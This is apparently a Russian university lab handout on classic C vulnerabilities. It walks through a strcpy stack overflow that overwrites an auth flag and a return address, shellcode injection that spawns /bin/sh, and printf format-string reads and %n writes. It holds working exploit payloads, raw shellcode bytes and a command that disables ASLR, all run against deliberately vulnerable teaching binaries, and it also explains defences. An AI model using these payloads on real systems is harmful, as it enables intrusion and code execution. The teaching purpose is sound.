Лабораторная работа #3

Exploits

Цель: познакомится с несколькими классическими уязвимостями, появляющихся в программах, написанных на C или C++.

Подготовка ОС и компиляция примеров для лабораторной

Для компиляции программ написан *make*-файл. Необходимо перейти в папку с файлами (**cd** ..) и выполнить команду **make**. (Посмотрите содержимое файла Makefile!)

Для корректной работы примеров требуется отключить **ASLR** – механизм защиты исполняемых файлов (см. финальный раздел данного документа):

```
x@x-VirtualBox:~/fs/Lab3$ sudo bash def_off
x@x-VirtualBox:~/fs/Lab3$
```

Выполнение третьего примера (и задания) требует *libc* версии 2.23, которую необходимо дополнительно установить в вашей системе, собрав из исходников (см. *readme.txt*).

Переполнение на стеке

Перезапись локальных переменных на стеке

Рассмотрим программу *auth.c*. в контексте интересуемой темы нас интересует функция *check_auth*:

```
int check_auth(char* passwd)
{
        int auth_flag = 0;
        char password_buffer[32] = {0};

        strcpy(password_buffer, passwd);

        if (strcmp(password_buffer, "fqwe3452fwertg") == 0)
                  auth_flag = 1;
        else if (strcmp(password_buffer, "@$ew4rtg3#$5sdf25") == 0)
                  auth_flag = 1;

        return auth_flag;
}
```

Функция проверки пароля реализована просто: сначала копируется пароль в локальный буфер, затем этот пароль сравнивается с двумя возможными значениями функцией `strcmp` и, если введён один из правильных паролей, значение флага *auth_flag* устанавливается в 1, в конце возвращается значение этого флага. Как было рассмотрено в Лабораторной работе #2, место под локальные переменные *auth_flag* и *password_buffer* выделяется на стеке. Исследуем кадр стека функции *check_auth* с помощью *gdb*:

Стек	Комментарии
??	место для вызова функций из libc
“\x00”*32	массив *password_buffer* ([ebp-0x2c])
0x0	переменная auth_flag ([ebp-0xc])
??	место под канарейку (см. ниже)
ebx	дно кадра стека функции
ebp	
0x08048572	адрес возврата в *main*

Рис. 1. Стек после пролога функции и инициализации переменных

Обратите внимание на то, что *gcc* оптимизировал вызов функций `strcpy` и `strcmp`, выделив место под аргументы этих функций на стеке заранее. Также обратите внимание на взаимное расположение переменных буфера и флага проверки пароля.

Функция `strcpy` копирует символы из источника в приёмник, пока очередной символ в источнике не равен 0 (признак конца строки). Что произойдёт, если вводимый пароль будет занимать больше 32 символов? Эксперименты:

```
x@x-VirtualBox:~/fs/Lab3$ ./auth `python3 -c 'print("A"*0x20)'`
Access denied!
x@x-VirtualBox:~/fs/Lab3$ ./auth `python3 -c 'print("A"*0x21)'`
Access granted!
x@x-VirtualBox:~/fs/Lab3$
```

ДОСТУП РАЗРЕШЁН! Что же произошло? Рассмотрим состояние стека после копирования введённого пароля:

Стек	Комментарии
??	место для вызова функций из libc
“A”*32	массив *password_buffer* ([ebp-0x2c])
0x41414141	переменная auth_flag ([ebp-0xc])
??	место под канарейку (см. ниже)
ebx	дно кадра стека функции
ebp	
0x08048572	адрес возврата в *main*

Рис. 2. Стек после переполнения буфера

Введя 36 символов A, мы копируем их в буфер. Но так как размер буфера – 32 байта, то 4 лишних копируются за пределы буфера - как раз на то место, где располагается переменная *aut*h*_flag*. Когда возвращённый флаг далее проверяется в функции main, оно будет не равно 0, и доступ предоставляется.

Перезапись адреса возврата

А давайте запишем больше байт - скажем, 100.

```
x@x-VirtualBox:~/fs/Lab3$ ./auth `python3 -c 'print(b"A"*0x64)'`
Segmentation fault (core dumped)
x@x-VirtualBox:~/fs/Lab3$
```

Что произошло? Смотрим на стек:

Стек	Комментарии
??	место для вызова функций из libc
“A”*32	массив *password_buffer* ([ebp-0x2c])
0x41414141	переменная auth_flag ([ebp-0xc])
0x41414141	место под канарейку (см. ниже)
0x41414141	дно кадра стека функции
0x41414141	
0x41414141	адрес возврата в *main*

Рис. 3. Стек после ещё большего переполнения буфера

Продолжая копировать байты введённого пароля за пределы отведённого для этого буфера, мы перезаписываем адрес возврата. После выполнения инструкции **ret** управление передаётся на адрес 0x41414141, что вызывает ошибку сегментации.

Давайте скопируем на нужное место адрес, соответствующий ветке “Access granted”:

```
x@x-VirtualBox:~/fs/Lab3$ ./auth `python3 -c 'import sys;
sys.stdout.buffer.write(b"A"*0x30 + b"\x89\x85\x04\x08")'`
Access granted!
Segmentation fault (core dumped)
x@x-VirtualBox:~/fs/Lab3$
```

Пусть по завершении выполнения программы и порождается исключение сегментации, управление передаётся на нужную ветку.

Перезапись адреса возврата и выполнение шеллкода

Для того, чтобы исправить уязвимость в предыдущей программе, перепишем функцию проверки пароля (файл *overflow.c*):

```
int check_auth(char* passwd)
{
        char password_buffer[64] = {0};

        printf("password_buffer is at address: %p\n", password_buffer);
        strcpy(password_buffer, passwd);

        if (strcmp(password_buffer, "fqwe3452fwertg") == 0)
                return 1;
        else if (strcmp(password_buffer, "@$ew4rtg3#$5sdf25") == 0)
                return 1;
        else
                return 0;
}
```

Нет переменной – нет проблем?

Как было неоднократно упомянуто, архитектура x86-64 является архитектурой фон-неймановского типа, то есть код и данные хранятся в одном адресном пространстве. Другими словами, если вместо пароля скопировать некоторый код, а адрес возврата перезаписать адресом буфера, то мы можем изменить логику работы программы. Главное правильно определить адрес буфера, а также чтобы вставляемый код, называемый *шеллкодом*, не содержал нулевых символов.

```
    x@x-VirtualBox:~/fs/Lab3$ ./overflow `python3 -c 'import sys;
sys.stdout.buffer.write(b"\x90"*24 +
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x90" +
b"\x90"*31 + b"\x10\xd0\xff\xff")'`
    password_buffer is at address: 0xffffd010
    $ exit
    x@x-VirtualBox:~/fs/Lab3$
```

Загружаемый шеллкод вызывает системную функцию и запускает командный интерпретатор /bin/sh, после чего атакующий может выполнять любые команды, доступные текущему пользователю, от которого была запущена уязвимая программа. Стек после переполнения:

Стек	Комментарии
??	место для вызова функций из libc
nop nop nop nop ...	массив *password_buffer* ([ebp-0x2c])
nop	
xor ecx, ecx	настройка аргументов
mul ecx	
push ecx	
push 0x68732f2f	
push 0x6e69622f	
mov ebx, esp	
mov al, 11	
int 0x80	вызов syscall'a execve
nop	
nop nop nop nop	переменная auth_flag ([ebp-0xc])
nop nop nop nop	место под канарейку (см. ниже)
nop nop nop nop	дно кадра стека функции
nop nop nop nop	
0xffffcf40	адрес возврата в *main*

Рис. 4. Стек после заливки шеллкода в буфер

0x90 – опкод инструкции *nop*, которая не делает ничего (*no operand*).

Что-то с форматом

Чтение данных

Иногда использование дополнительной переменной неизбежно, либо же просто повышает читаемость кода. Можно в этом случае использовать статическую переменную, так как статические переменные помещаются в другой сегмент данных (в какой?). Новая функция (файл *format.c*):

```
int check_auth(char* username, char* passwd)
{
        static int auth_flag = 0x0;
        char password_buffer[64] = {0};

        strncpy(password_buffer, passwd, 64);
        printf(username);
        printf(", password_buffer is at address: %p\n", password_buffer);

        if (strcmp(password_buffer, "fqwe3452fwertg") == 0)
                auth_flag = 1;
        else if (strcmp(password_buffer, "@$ew4rtg3#$5sdf25") == 0)
                auth_flag =1;

        printf("DEBUG: auth_flag (%p) = %d\n", &auth_flag, auth_flag);
        return auth_flag;
}
```

Попробуем сломать:

```
x@x-VirtualBox:~/fs/Lab3$ ./format Run `python3 -c 'print("A"*100)'`
Run, password_buffer is at address: 0xffffd000
DEBUG: auth_flag (0x804a02c) = 0
Access denied!
x@x-VirtualBox:~/fs/Lab3$
```

Отнюдь. Что изменилось?

Обратите внимание на строку *printf(username);*. Проблема заключается в том, что *printf* принимает первым аргументом т.н. форматную строку, а следующими аргументами – переменные, значения которых должны быть в эту форматную строку подставлены. Потому если вместо нормального имени пользователя ввести какую-нибудь форматную строку, мы можем прочитать данные со стека. Эксперименты:

```
x@x-VirtualBox:~/fs/Lab3$ ./format `python3 -c 'import sys;
sys.stdout.buffer.write(b"B"*100 + b"%08x.."*201')` `python3 -c 'import sys;
sys.stdout.buffer.write(b"A"*100')`
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBffffd22d..00000040..08048281..41414141..41414141..41414141..41414141..4141414
1..41414141..41414141..41414141..41414141..41414141..41414141..41414141..41414141..41414141
..41414141..41414141..f7fba000..00000000..ffffca68..080485b4..ffffcd12..ffffd22d..080485eb.
.f7fba000..080485e0..00000000..00000000..f7e2ca63..00000003..ffffcb04..ffffcb14..f7feacea..
00000003..ffffcb04..ffffcaa4..0804a01c..0804824c..f7fba000..00000000..00000000..00000000..c
8b8097b..f2b8ad6b..00000000..00000000..00000000..00000003..080483b0..00000000..f7ff0500..f7
e2c979..f7ffd000..00000003..080483b0..00000000..080483d1..0804856d..00000003..ffffcb04..080
485e0..08048650..f7feb180..ffffcafc..0000001c..00000003..ffffcd09..ffffcd12..ffffd22d..0000
0000..ffffd292..ffffd29d..ffffd2b2..ffffd2c5..ffffd2dc..ffffd2ee..ffffd31b..ffffd32c..ffffd
344..ffffd35a..ffffd369..ffffd39e..ffffd3a9..ffffd3ba..ffffd3d1..ffffd3e1..ffffd3fc..ffffd4
0e..ffffd425..ffffd437..ffffd47b..ffffd4af..ffffd4de..ffffd4e5..ffffda06..ffffda1f..ffffda5
9..ffffda8d..ffffdabd..ffffdaf0..ffffdb4e..ffffdb92..ffffdba9..ffffdc13..ffffdc25..ffffdc46
..ffffdc64..ffffdc78..ffffdc81..ffffdc95..ffffdcac..ffffdcbd..ffffdccc..ffffdd02..ffffdd1d.
.ffffdd30..ffffdd4d..ffffdd5f..ffffdd71..ffffdd8b..ffffdd93..ffffdda0..ffffddaf..ffffddbe..
```

```
ffffddea..ffffddf4..ffffde0e..ffffde4a..ffffde99..ffffdeab..ffffdecb..ffffded5..ffffdeea..f
fffdf09..ffffdf14..ffffdf2e..ffffdf41..ffffdf63..ffffdf77..ffffdf98..ffffdfac..ffffdfcb..ff
ffdfe4..00000000..00000020..f7fdb420..00000021..f7fdb000..00000010..078bfbff..00000006..000
01000..00000011..00000064..00000003..08048034..00000004..00000020..00000005..00000009..0000
0007..f7fdc000..00000008..00000000..00000009..080483b0..0000000b..000003e8..0000000c..00000
3e8..0000000d..000003e8..0000000e..000003e8..00000017..00000000..00000019..ffffcceb..000000
1f..ffffdfef..0000000f..ffffccfb..00000000..00000000..00000000..00000000..00000000..df00000
0..747603fb..a3421b96..475557c7..69524c25..00363836..00000000..00000000..662f2e00..616d726f
..42420074..42424242.., password_buffer is at address: 0xffffcae0
     DEBUG: auth_flag (0x804a02c) = 0
     Access denied!
     x@x-VirtualBox:~/fs/Lab3$
```

Переданная строка имеет вид: «BBB...BBBBB%08x%08x%08x...%08x». Когда эта строка попадает в *printf*, функция пытается извлечь очередные 4 байта со стека и вывести на печать в виде шестнадцатиричного числа (это приписывает формат %x). Таким образом, мы можем читать данные со стека. (КАК???)

Запись данных

Не чтением единым. Есть ещё один модификатор - %n. Он указывает функции записать количество выведенных на печать символов по адресу, записанному на месте текущего параметра на стеке. Эксперименты:

```
     x@x-VirtualBox:~/fs/Lab3$ ./format `python3 -c 'import sys; sys.stdout.buffer.write(b
"\x2c\xa0\x04\x08"*250 + b"%08x.."*290 + b"%x%n"'` `python3 -c 'import sys;
sys.stdout.buffer.write(b"A"*100'`
     0
0
0
0
0
0
0
0
0
0
0ffffd22d..00000040..08048281..414
14141..41414141..41414141..41414141..41414141..41414141..41414141..41414141..41414141..4141
4141..41414141..41414141..41414141..41414141..41414141..41414141..f7fba000..00000000..ffffc
4c8..080485b4..ffffc774..ffffd22d..080485eb..f7fba000..080485e0..00000000..00000000..f7e2ca
63..00000003..ffffc564..ffffc574..f7feacea..00000003..ffffc564..ffffc504..0804a01c..0804824
c..f7fba000..00000000..00000000..00000000..8ec9f183..b4d41593..00000000..00000000..00000000
..00000003..080483b0..00000000..f7ff0500..f7e2c979..f7ffd000..00000003..080483b0..00000000.
.080483d1..0804856d..00000003..ffffc564..080485e0..08048650..f7feb180..ffffc55c..0000001c..
00000003..ffffc76b..ffffc774..ffffd22d..00000000..ffffd292..ffffd29d..ffffd2b2..ffffd2c5..f
fffd2dc..ffffd2ee..ffffd31b..ffffd32c..ffffd344..ffffd35a..ffffd369..ffffd39e..ffffd3a9..ff
ffd3ba..ffffd3d1..ffffd3e1..ffffd3fc..ffffd40e..ffffd425..ffffd437..ffffd47b..ffffd4af..fff
fd4de..ffffd4e5..ffffda06..ffffda1f..ffffda59..ffffda8d..ffffdabd..ffffdaf0..ffffdb4e..ffff
db92..ffffdba9..ffffdc13..ffffdc25..ffffdc46..ffffdc64..ffffdc78..ffffdc81..ffffdc95..ffffd
cac..ffffdcbd..ffffdccc..ffffdd02..ffffdd1d..ffffdd30..ffffdd4d..ffffdd5f..ffffdd71..ffffdd
8b..ffffdd93..ffffdda0..ffffddaf..ffffddbe..ffffddea..ffffddf4..ffffde0e..ffffde4a..ffffde9
9..ffffdeab..ffffdecb..ffffded5..ffffdeea..ffffdf09..ffffdf14..ffffdf2e..ffffdf41..ffffdf63
..ffffdf77..ffffdf98..ffffdfac..ffffdfcb..ffffdfe4..00000000..00000020..f7fdb420..00000021.
.f7fdb000..00000010..078bfbff..00000006..00001000..00000011..00000064..00000003..08048034..
00000004..00000020..00000005..00000009..00000007..f7fdc000..00000008..00000000..00000009..0
80483b0..0000000b..000003e8..0000000c..000003e8..0000000d..000003e8..0000000e..000003e8..00
000017..00000000..00000019..ffffc74b..0000001f..ffffdfef..0000000f..ffffc75b..00000000..000
00000..00000000..00000000..00000000..e6000000..280d87d0..4f3e38a0..8ba144dc..69596e1b..0036
3836..00000000..00000000..2e000000..726f662f..0074616d..0804a030..0804a030..0804a030..0804a
030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a0
30..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a03
0..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030
..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030.
.0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..
```

```
0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0
804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..08
04a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..080
4a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804a030..0804
a030..0804a030..0804a030..0804a030..0804a030..804a030, password_buffer is at address:
0xffffc460
     DEBUG: auth_flag (0x804a02c) = 3907
     Access granted!
     x@x-VirtualBox:~/fs/Lab3$
```

Успех! Адрес нашей статической переменной `static int auth_flag` записывается в начало строки, которая также хранится на стеке. Повторная обработка спецификатора %x «отматывает» указатель на текущий аргумент функции *printf* на 4 байта. Выполнив эту «отмотку» 290 раз, мы выставим указатель на текущий аргумент на начало форматной строки, в которой записан адрес статической переменной. Когда далее обрабатывается спецификатор %n, выведенное до сих пор количество символов (3907) записывается по адресу 0x804a02c. Далее значение этой переменной возвращается из функции, и проверка проходит успешно – мы видим «Access granted».

И что же делать?

Исполнение шеллкода

Разрешение проблемы с выполнением шеллкода на стеке требует внедрения механизма, называемого **Data Execution Prevention**, **DEP** (также известного как **NX**). На уроне операционной системы область памяти, отводимая под стек, помечается как неисполняемая. Таким образом, если управление передаётся на неисполняемую область памяти, порождается исключение и программа завершает выполнение.

DEP позволяет защититься от заливки шеллкода, но никак не защищает от собственно переполнения. Для преодоления **DEP** была разработана техника **Return Oriented Programming**, **ROP**. Идея заключается в том, что при переполнении записываются адреса возврата, указывающие на участки кода самой программы, заканчивающиеся инструкцией **ret**. Инструкции в этих участках выполняют необходимые операции, а цепочка адресов на стеке и инструкции **ret** позволяют соединять эти участки в т.н. цепочки. Это возможно вследствие того, что адреса участков кода, загружаемых библиотек, стека и др. не изменяются. Чтобы это исправить, ввели механизм рандомизации адресного пространства – **Address Space Layout Randomization**, **ASLR**. Этот механизм гарантирует то, что все используемые библиотеки, стек загружаются в разные места виртуального адресного пространства. Таким образом,

Однако **ASLR** также не защищает от самого переполнения. Для предотвращения выполнения инструкции **ret** при переполнении был введен механизм, названный **Stack Smashing Protector**, **SSP**. Идея заключается в том, что на дно кадра стека кладётся т.н. **stack canary**, а по завершении выполнения функции эта канарейка проверяется. Если переполнение на стеке происходит, то значение этой канарейки тоже меняется, и проверка по завершении функции не происходит

Форматная строка

Эта уязвимость достаточно легко обнаруживается и ещё проще закрывается: просто надо вместо непосредственной передачи строки в функцию использовать *printf* с форматной строкой:

```
printf(“%s”, username);
```

Литература

1. Эриксон Д. Хакинг: искусство эксплойта. 2-е издание. Символ, 2010.
2. Anley, Heasman, Lindner, Richarte. The Shellcoder's Handbook.
3. http://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
4. http://crypto.stanford.edu/~blynn/rop/

Задания

1. Разобраться с эксплоитами *auth.c*. Запустить, посмотреть из-под отладки (в особенности на состояние стека).
2. Проэксплуатировать бинарный файл *auth2* – добиться появления строки «Access granted».
3. Разобраться с эксплоитами *overflow.c*. Запустить, посмотреть из-под отладки (в особенности на состояние стека).
4. Проэксплуатировать бинарный файл *overflow2* – добиться появления строки «Access granted».
5. Разобраться с эксплоитами *format.c*. Запустить, посмотреть из-под отладки (в особенности на состояние стека).
6. Проэксплуатировать бинарный файл *format2* – добиться появления строки «Access granted».